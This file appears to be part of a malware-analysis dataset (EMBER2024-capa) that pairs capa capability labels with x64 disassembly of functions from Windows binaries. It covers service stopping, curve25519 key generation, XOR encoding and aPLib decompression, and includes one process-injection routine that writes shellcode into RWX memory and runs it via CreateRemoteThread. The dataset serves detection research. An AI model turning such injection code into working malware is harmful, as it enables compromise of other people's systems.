joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140040140
Capabilities:
Encrypt data using curve25519
Generate random numbers via winapi
Hash data using sha256

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x7e8]
sub rsp, 0x8e8
mov rax, qword [0x1400ea180]
xor rax, rsp
mov qword [rbp + 0x7d0], rax
mov rbx, r9
mov r15d, r8d
mov rsi, rdx
mov r14, rcx
mov r9d, 2
lea r8d, [r9 + 0x1e]
lea rdx, [rbp + 0x790]
xor ecx, ecx
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
and byte [rbp + 0x790], 0xf8
movzx eax, byte [rbp + 0x7af]
and al, 0x3f
or al, 0x40
mov byte [rbp + 0x7af], al
lea rdx, [rbp + 0x790]
lea rcx, [rsi + 0x18]
call fcn.1400484d0
mov r8, rbx
lea rdx, [rbp + 0x790]
lea rcx, [rbp + 0x7b0]
call fcn.140048470
movups xmm1, xmmword [0x1400d9550]
movaps xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [0x1400d9560]
movaps xmmword [rbp + 0x20], xmm0
movaps xmmword [rbp + 0x30], xmm1
movaps xmmword [rbp + 0x40], xmm0
xor r12d, r12d
mov qword [rbp + 0x50], r12
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
movups xmmword [rbp + 0x68], xmm0
movups xmmword [rbp + 0x78], xmm0
movups xmmword [rbp + 0x88], xmm0
mov word [rbp + 0x98], r12w
mov byte [rbp + 0x9a], r12b
mov byte [rbp + 0xa0], r12b
lea r8d, [r12 + 0x20]
lea rdx, [rbp + 0x7b0]
lea rcx, [rbp + 0x10]
call fcn.140006a70
lea r8d, [r12 + 0x20]
lea rdx, [rsi + 0x18]
lea rcx, [rbp + 0x10]
call fcn.140006a70
lea r8d, [r12 + 0x20]
mov rdx, rbx
lea rcx, [rbp + 0x10]
call fcn.140006a70
lea r8, [rbp + 0x7b0]
lea rcx, [rbp + 0x10]
call fcn.1400080b0
lea r9d, [r12 + 2]
lea r8d, [r12 + 0x18]
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
xor edx, edx
mov r8d, 0xd8
lea rcx, [rsp + 0x30]
call fcn.14008d430
mov dl, 1
lea rcx, [rsp + 0x38]
call fcn.14004abc0
mov dl, 1
lea rcx, [rsp + 0x40]
call fcn.14004abc0
movdqa xmm0, xmmword [0x1400da2e0]
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
movdqa xmm0, xmmword [0x1400da310]
movdqu xmmword [rbp - 0x18], xmm0
mov byte [rbp - 0x1f], 1
lea rax, [rsp + 0x78]
and eax, 0xf
lea rcx, [rsp + 0x78]
add rax, rcx
mov qword [rbp - 8], rax
mov dword [rbp], r12d
mov dword [rbp + 4], 0x14
lea rax, [0x1400d9f58]
mov qword [rsp + 0x30], rax
lea r13, [0x1400da0e0]
mov qword [rsp + 0x38], r13
lea r12, [0x1400da168]
mov qword [rsp + 0x40], r12
lea rbx, [0x1400da1d0]
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x20], 0x18
mov r9, rsi
mov r8d, 0x20
lea rdx, [rbp + 0x7b0]
lea rcx, [rsp + 0x30]
call fcn.14004d050
mov r9d, r15d
mov r8, r14
mov rdx, r14
lea rcx, [rsp + 0x38]
call fcn.14004e010
lea rdi, [rbp + 0x790]
xor eax, eax
mov ecx, 0x20
rep stosb byte [rdi], al
lea rdi, [rbp + 0x7b0]
mov ecx, 0x20
rep stosb byte [rdi], al
lea rax, [0x1400d9f58]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x70], rbx
lea rcx, [rsp + 0x30]
call fcn.1400404e0
mov eax, r15d
mov rcx, qword [rbp + 0x7d0]
xor rcx, rsp
call fcn.140065270
add rsp, 0x8e8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140044020
Capabilities:
Check for time delay via gettickcount
Enumerate services
Query service status
Stop service

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0xc0
mov rax, qword [0x1400ea180]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x30], rsp
mov rbx, rcx
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov r15, rax
test rax, rax
je 0x140044246
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
lea rax, [rsp + 0x84]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_EnumDependentServicesW]
test eax, eax
jne 0x140044246
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x140044246
mov ecx, dword [rsp + 0x80]
call fcn.14009e7f0
mov r14, rax
mov qword [rsp + 0x48], rax
test rax, rax
je 0x140044246
lea rax, [rsp + 0x84]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x80]
mov r8, r14
mov edx, 1
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_EnumDependentServicesW]
test eax, eax
jne 0x14004411d
lea rdx, [0x140044246]
mov rcx, rsp
call fcn.1400990e8
xor edi, edi
mov dword [rsp + 0x38], edi
cmp edi, dword [rsp + 0x84]
jae 0x14004423e
lea rcx, [rdi + rdi*2]
add rcx, rcx
movups xmm0, xmmword [r14 + rcx*8 + 0x10]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [r14 + rcx*8 + 0x20]
movups xmmword [rsp + 0x70], xmm1
mov r8d, 0x24
mov rdx, qword [r14 + rcx*8]
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
mov qword [rsp + 0x40], rax
test rax, rax
jne 0x14004417f
lea rdx, [0x140044246]
mov rcx, qword [rsp + 0x30]
call fcn.1400990e8
nop
lea r8, [rsp + 0x88]
mov edx, 1
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x1400441b0
lea rdx, [0x140044246]
mov rcx, qword [rsp + 0x30]
call fcn.1400990e8
nop word [rax + rax]
cmp dword [rsp + 0x8c], 1
je 0x14004422e
mov ecx, dword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 0x24
lea r8, [rsp + 0x88]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x140044202
lea rdx, [0x140044246]
mov rcx, qword [rsp + 0x30]
call fcn.1400990e8
cmp dword [rsp + 0x8c], 1
je 0x14004422e
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, esi
cmp eax, 0x7530
jbe 0x14004422c
lea rdx, [0x140044246]
mov rcx, qword [rsp + 0x30]
call fcn.1400990e8
jmp 0x1400441b0
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
inc edi
jmp 0x14004411f
mov rcx, r14
call fcn.14009e2a4
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140065270
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
Function at 0x140044270
Capabilities:
Check for time delay via gettickcount
Query service status
Stop service

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x80
mov rax, qword [0x1400ea180]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x30], rsp
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x1400444b1
cmp qword [rbx + 0x18], 8
jb 0x1400442d2
mov rbx, qword [rbx]
mov r8d, 0x2c
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
mov qword [rsp + 0x38], rax
test rax, rax
je 0x1400444a8
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0x24
lea r8, [rsp + 0x50]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x14004432a
lea rdx, [0x1400444b1]
mov rcx, qword [rsp + 0x30]
call fcn.1400990e8
mov eax, dword [rsp + 0x54]
cmp eax, 1
jne 0x140044344
lea rdx, [0x1400444b1]
mov rcx, qword [rsp + 0x30]
call fcn.1400990e8
mov r14d, 0x2710
nop word [rax + rax]
cmp eax, 3
jne 0x1400443f9
mov eax, 0xcccccccd
mul dword [rsp + 0x68]
shr edx, 3
cmp edx, 0x3e8
jae 0x140044374
mov edx, 0x3e8
jmp 0x14004437b
cmp edx, r14d
cmova edx, r14d
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0x24
lea r8, [rsp + 0x50]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x1400443b8
lea rdx, [0x1400444b1]
mov rcx, qword [rsp + 0x30]
call fcn.1400990e8
cmp dword [rsp + 0x54], 1
jne 0x1400443d0
lea rdx, [0x1400444b1]
mov rcx, qword [rsp + 0x30]
call fcn.1400990e8
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, edi
cmp eax, 0x7530
jbe 0x1400443f0
lea rdx, [0x1400444b1]
mov rcx, qword [rsp + 0x30]
call fcn.1400990e8
mov eax, dword [rsp + 0x54]
jmp 0x140044350
mov rcx, rbx
call fcn.140044020
lea r8, [rsp + 0x50]
mov edx, 1
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x140044430
lea rdx, [0x1400444b1]
mov rcx, qword [rsp + 0x30]
call fcn.1400990e8
nop dword [rax]
cmp dword [rsp + 0x54], 1
je 0x14004449f
mov ecx, dword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0x24
lea r8, [rsp + 0x50]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x140044476
lea rdx, [0x1400444b1]
mov rcx, qword [rsp + 0x30]
call fcn.1400990e8
cmp dword [rsp + 0x54], 1
je 0x14004449f
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, edi
cmp eax, 0x7530
jbe 0x14004449d
lea rdx, [0x1400444b1]
mov rcx, qword [rsp + 0x30]
call fcn.1400990e8
jmp 0x140044430
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140065270
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x140047610
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x1400ea180]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rcx
mov ecx, 1
call fcn.140065290
mov qword [rsp + 0x30], rax
lea rdi, [rbx + 8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140047940]
xor edx, edx
xor ecx, ecx
call fcn.14009e6e4
mov qword [rbx], rax
test rax, rax
je 0x140047682
mov rax, rbx
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140065270
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rdi], 0
mov ecx, 6
call fcn.14006753c
int3
Function at 0x14005df40
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 8
mov r10, rdx
test r9, r9
je 0x14005e0e4
cmp r9, 4
jb 0x14005df8a
mov rdx, r9
shr rdx, 2
imul rax, rdx, 0xfffffffffffffffc
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [r10]
add r10, 4
xor eax, dword [r8]
add r8, 4
mov dword [rcx], eax
add rcx, 4
sub rdx, 1
jne 0x14005df70
xor r11d, r11d
test r9, r9
je 0x14005e0e4
cmp r9, 8
jb 0x14005e0be
lea rdx, [rcx - 1]
lea rax, [r8 - 1]
add rdx, r9
add rax, r9
cmp rcx, rax
ja 0x14005dfbc
cmp rdx, r8
jae 0x14005e0be
lea rax, [r10 - 1]
add rax, r9
cmp rcx, rax
ja 0x14005dfd1
cmp rdx, r10
jae 0x14005e0be
mov rdx, r10
mov qword [rsp + 0x10], rbx
sub rdx, r8
mov qword [rsp], rdi
cmp r9, 0x40
jb 0x14005e07b
mov rdi, r9
mov qword [rsp + 0x18], rsi
and edi, 0x3f
mov rsi, r9
sub rsi, rdi
mov rbx, rcx
lea rax, [r8 + 0x10]
sub rbx, r8
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add r11, 0x40
movdqu xmm1, xmmword [rdx + rax - 0x10]
movdqu xmm2, xmmword [rdx + rax]
lea rax, [rax + 0x40]
pxor xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x40]
movdqu xmmword [rbx + rax - 0x50], xmm1
pxor xmm2, xmm0
movdqu xmm0, xmmword [rax - 0x30]
movdqu xmm1, xmmword [rdx + rax - 0x30]
movdqu xmmword [rbx + rax - 0x40], xmm2
pxor xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x20]
movdqu xmm2, xmmword [rdx + rax - 0x20]
movdqu xmmword [rbx + rax - 0x30], xmm1
pxor xmm2, xmm0
movdqu xmmword [rbx + rax - 0x20], xmm2
cmp r11, rsi
jb 0x14005e010
mov rsi, qword [rsp + 0x18]
cmp rdi, 8
jb 0x14005e0b0
mov rbx, r9
and rbx, 0xfffffffffffffff8
mov rdi, rcx
lea rax, [r11 + r8]
sub rdi, r8
nop dword [rax]
movq xmm1, qword [rax + rdx]
add r11, 8
movq xmm0, qword [rax]
lea rax, [rax + 8]
pxor xmm1, xmm0
movq qword [rax + rdi - 8], xmm1
cmp r11, rbx
jb 0x14005e090
mov rdi, qword [rsp]
mov rbx, qword [rsp + 0x10]
cmp r11, r9
jae 0x14005e0e4
sub r10, r8
lea rdx, [r11 + r8]
sub rcx, r8
sub r9, r11
nop dword [rax + rax]
movzx eax, byte [rdx + r10]
xor al, byte [rdx]
mov byte [rdx + rcx], al
lea rdx, [rdx + 1]
sub r9, 1
jne 0x14005e0d0
add rsp, 8
ret

Function at 0x140066214
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14006625e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14006625e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14006625e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14006625e
cmp dword [rcx + 0x84], 0xe
jbe 0x14006625e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140066260
xor al, al
add rsp, 0x28
ret

Function at 0x14008220c
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x14006dc0a
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x14006dbed
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x14006dbd8
Function at 0x140082220
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
xor r8d, r8d
movabs rax, 0xcbf29ce484222325
test r9, r9
je 0x14003f494
movabs r10, 0x100000001b3
movzx edx, byte [r8 + rcx]
inc r8
xor rax, rdx
imul rax, r10
cmp r8, r9
jb 0x14003f480
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x14003f460

Function at 0x1400a1718
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400a1508
Function at 0x1400b2920
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400b2950
xor eax, eax
jmp 0x1400b2a13
mov rbp, rbx
cmp word [rax], si
je 0x1400b2975
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400b295c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400b2958
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400b0c1c
movsxd r14, eax
test eax, eax
jne 0x1400b29b3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400b2949
mov rcx, r14
call fcn.1400ad71c
mov rdi, rax
test rax, rax
jne 0x1400b29cc
xor ecx, ecx
call fcn.1400ad6e0
jmp 0x1400b29a8
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400b0c1c
test eax, eax
jne 0x1400b29fd
mov rcx, rdi
call fcn.1400ad6e0
jmp 0x1400b2a07
xor ecx, ecx
call fcn.1400ad6e0
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1400b2a30
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1400b2ab7
mov rsi, rbx
cmp word [rax], bp
je 0x1400b2a76
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1400b2a60
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1400b2a5c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400ad71c
mov rdi, rax
test rax, rax
je 0x1400b2aa4
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14008cd80
mov rbp, rdi
xor ecx, ecx
call fcn.1400ad6e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400bc830
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400bc858
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400bc858
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14073f058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14073f1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14073f089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14073f06f
add dl, dl
jne 0x14073f096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14073f0f6
xor eax, eax
add dl, dl
jne 0x14073f0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14073f1ad
add dl, dl
jne 0x14073f0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14073f0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14073f0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14073f0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14073f0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14073f07e
mov eax, 1
add dl, dl
jne 0x14073f106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14073f113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14073f0fb
sub eax, ebx
mov ebx, 1
jne 0x14073f14c
mov ecx, 1
add dl, dl
jne 0x14073f12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14073f13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14073f123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14073f07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14073f168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14073f175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14073f15d
cmp eax, 0x7d00
jae 0x14073f19b
cmp eax, 0x500
jb 0x14073f196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14073f07e
cmp eax, 0x7f
ja 0x14073f19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14073f07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14073f1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14073f07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001090
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x278
mov rax, qword [0x14001b008]
xor rax, rsp
mov qword [rsp + 0x260], rax
lea rax, [rsp + 0x60]
lea rcx, [0x140011340]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1ff
rep movsb byte [rdi], byte [rsi]
mov r9d, 0xb
lea r8, str.jcaopxhlmq
mov edx, 0x1ff
lea rcx, [rsp + 0x60]
call section..text
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x298]
mov rcx, qword [rcx + rax]
call fcn.140005580
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 8
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x1ff
lea r8, [rsp + 0x60]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x48]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140001250
add rsp, 0x278
pop rdi
pop rsi
ret

Function at 0x140001c4c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c96
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c96
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c96
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c96
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c96
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c98
xor al, al
add rsp, 0x28
ret

Function at 0x14000634c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140006148
Function at 0x14000952c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000955c
xor eax, eax
jmp 0x14000961f
mov rbp, rbx
cmp word [rax], si
je 0x140009581
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140009568
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140009564
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000944c
movsxd r14, eax
test eax, eax
jne 0x1400095bf
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140009555
mov rcx, r14
call fcn.14000a408
mov rdi, rax
test rax, rax
jne 0x1400095d8
xor ecx, ecx
call fcn.140007b48
jmp 0x1400095b4
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000944c
test eax, eax
jne 0x140009609
mov rcx, rdi
call fcn.140007b48
jmp 0x140009613
xor ecx, ecx
call fcn.140007b48
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000ca40
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140007088
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14000caca
cmp byte [rbp - 0x21], r15b
je 0x14000cac5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14000cb00
call fcn.14000ac18
test eax, eax
jne 0x14000caec
cmp byte [rbp - 0x21], r15b
je 0x14000cae4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14000cb00
cmp byte [rbp - 0x21], r15b
je 0x14000cafd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140007b98
